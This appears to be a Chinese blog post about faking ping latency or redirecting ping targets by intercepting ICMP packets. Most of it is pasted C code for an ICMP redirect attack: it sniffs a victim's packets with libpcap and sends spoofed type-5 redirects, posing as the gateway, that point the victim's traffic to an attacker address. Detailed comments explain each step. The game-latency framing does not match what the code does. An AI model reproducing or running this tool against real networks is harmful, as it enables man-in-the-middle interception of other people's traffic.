改PING值,改ICMP包,降低PING延时或者修改PING的IP地址原理
有时候,进一些游戏,大厅上显示的延时超过特定值,就不能选区进游戏。
还有一些特殊情况想修改PING的数据包,来固定返回的延时值。
也有些时候,想修改PING的目的地址,即,我们PING 1.1.1.1时,想让系统去PING2.2.2.2这些情况。
这样是可以办到的。
第一步要拦截ICMP数据包。如果是想修改目的地址,那就改发送函数,把拦截到的地址改为目的地址,同时要效验和。
想修改延时值的话,直接改发送接收都可以。
上一段别人的代码,我们的方法有区别,我们是驱动拦截数据包后再修改。
int main(int argc, char *argv[])
{
char *dev;
if(argc != 4)
{
printf(“Usage: %s Attacker-ip Target-ip Gateway\n”, argv[0]);
return 0;
}
ip_atk = argv[1];
ip_tgt = argv[2];
ip_gw = argv[3];
dev = FindDev(); //查找dev
printf(“attacker: %s\ntarget: %s\nGateway: %s\nFounded Device: %s\nStart ICMP redirecting…\n”,ip_atk, ip_tgt, ip_gw, dev);
sniff(dev);
}
主函数引导用户输入攻击机ip,受害者ip,网关地址,然后利用FindDev()函数查找主机默认的设备。然后执行sniff()嗅探过程。
- FindDev()
char *FindDev(){ // 查找默认设备
char *dev, errbuf[PCAP_ERRBUF_SIZE];
dev = pcap_lookupdev(errbuf);
if (dev == NULL) {
fprintf(stderr, “Couldn’t find default device: %s\n”, errbuf);
return NULL;
}
return dev;
}
用于查找默认设备。
- 嗅探
void sniff(char * dev){
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t * handle;
bpf_u_int32 net = 0;
bpf_u_int32 mask = 0;
struct bpf_program fp;
char filter_exp[100] = “”; //filter_exp内容为过滤表达式
sprintf(filter_exp, “src host %s”, ip_tgt);// 过滤表达式
if(pcap_lookupnet(dev, &net, &mask, errbuf) == -1)
//pcap_lookupnet()是一个函数,给定设备的名称,返回其中一个IPv4网络号和相应的网络掩码(网络号是IPv4地址与网络掩码进行AND运算,因此它只包含地址的网络部分)。
{
fprintf(stderr, “Can’t get netmask for device %s\n”, dev);
net = 0;
mask = 0;
}
handle = pcap_open_live(dev, 65535, 1, 100, errbuf);
//第一个参数是我们在上一节中指定的设备。 snaplen是一个整数,它定义了pcap要捕获的最大字节数。 promisc,当设置为true时,将接口带入混杂模式(但是,即使设置为false,也可能在特定情况下接口处于混杂模式,无论如何)。 to_ms是读取超时(以毫秒为单位)(值为0表示没有time out;至少在某些平台上,这意味着可能要等到足够数量的数据包到达才能看到任何数据包,因此应该使用非零值)。
if (handle == NULL) {
fprintf(stderr, “Couldn’t open device %s: %s\n”, dev, errbuf);
return;
}
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
//第一个参数是我们的会话句柄(前一个例子中的pcap_t *句柄)。 接下来是对我们将存储过滤器的编译版本的位置的引用。 表达式本身就是常规字符串格式。 接下来是一个整数,它决定表达式是否应该“优化”(0为假,1为真。)最后,我们必须指定过滤器适用的网络的网络掩码。 失败时函数返回-1;所有其他值意味着成功。
fprintf(stderr, “Couldn’t parse filter %s: %s\n”, filter_exp, pcap_geterr(handle));
return;
}
if (pcap_setfilter(handle, &fp) == -1) {
// 第一个参数是我们的会话处理程序,第二个参数是对表达式的编译版本的引用(可能是与pcap_compile()的第二个参数相同的变量)。
fprintf(stderr, “Couldn’t install filter %s: %s\n”, filter_exp, pcap_geterr(handle));
return;
}
pcap_loop(handle, -1, Redirect, NULL);
//第一个参数是我们的会话句柄。接下来是一个整数,它告诉pcap_loop()在返回之前它应该嗅探多少个数据包(负值意味着它应该嗅探直到发生错误)。第三个参数是回调函数的名称(只是函数名,没有括号)。最后一个参数在某些应用程序中很有用,但很多时候只是设置为NULL。
}
嗅探过程利用到pcap。
其中pcap_open_live()打开设备进行嗅探。
pcap_compile()进行流量过滤,设置过滤表达式,来接收来自受害者主机的包。
pcap_setfilter()为对过滤表达式的应用。
之后执行pcap_loop()使其持续进行嗅探的操作,并且在接收到数据包时,调用回调函数Redirect来发送重定向包。
- 回调函数Redirect()发包
void Redirect(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet){
int sockfd;
struct sockaddr_in dest;
if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
//int socket( int af, int type, int protocol);
//af:一个地址描述。仅支持AF_INET格式,也就是说ARPA Internet地址格式。 AF_INET使用IPv4协议
//type:指定socket类型。发送ICMP所以使用原始套接字SOCK_RAW
//protocol:指定协议。
{
printf(“create sockfd error\n”);
exit(-1);
}
printf(“detected a packet…\n”);
//传入socket描述符,原始数据帧地址
u_char out_packet[20 + 8 + 28]; //20为ip头部 8字节icmp头 28字节为针对的原始ip首部及数据部分前28字节
struct ip *iph = (struct ip *)out_packet; //ipHeader
struct icmp *icmph = (struct icmp *)(out_packet + 20); //icmpHeader
//填充ip头部内容
iph->ip_v = 4;
iph->ip_hl = 5;
iph->ip_tos = 0;
iph->ip_ttl = 255;
iph->ip_len = 56;
iph->ip_id = 0;
iph->ip_off = 0;
iph->ip_p = 1;
iph->ip_sum = 0; //抓包的时候显示ip检验和没有检验 所以不用填也可以
iph->ip_src.s_addr = inet_addr(ip_gw); //源地址为网关地址
iph->ip_dst.s_addr = inet_addr(ip_tgt); //目的地址为被攻击机地址
//填充icmp头部
icmph->icmp_type = 5;
icmph->icmp_code = 1;
icmph->icmp_hun.ih_gwaddr.s_addr = inet_addr(ip_atk); //重定向到攻击者地址
icmph->icmp_cksum = 0;
icmph->icmp_cksum = checksum(out_packet + 20, 36); //检验和
dest.sin_family = AF_INET; \
dest.sin_addr.s_addr = inet_addr(ip_tgt); //目标ip
if(sendto(sockfd, &out_packet, 56, 0, (struct sockaddr *)&dest, sizeof(dest)) < 0)
{
printf(“Error number: %d\n”, errno);
exit(-1);
}
//函数说明:sendto() 用来将数据由指定的socket 传给对方主机. 参数s 为已建好连线的socket, 如果利用UDP协议则不需经过连线操作. 参数msg 指向欲连线的数据内容, 参数flags 一般设0, 详细描述请参考send(). 参数to 用来指定欲传送的网络地址, 结构sockaddr 请参考bind(). 参数tolen 为sockaddr 的结果长度.
printf(“Sent a packet\n”);
}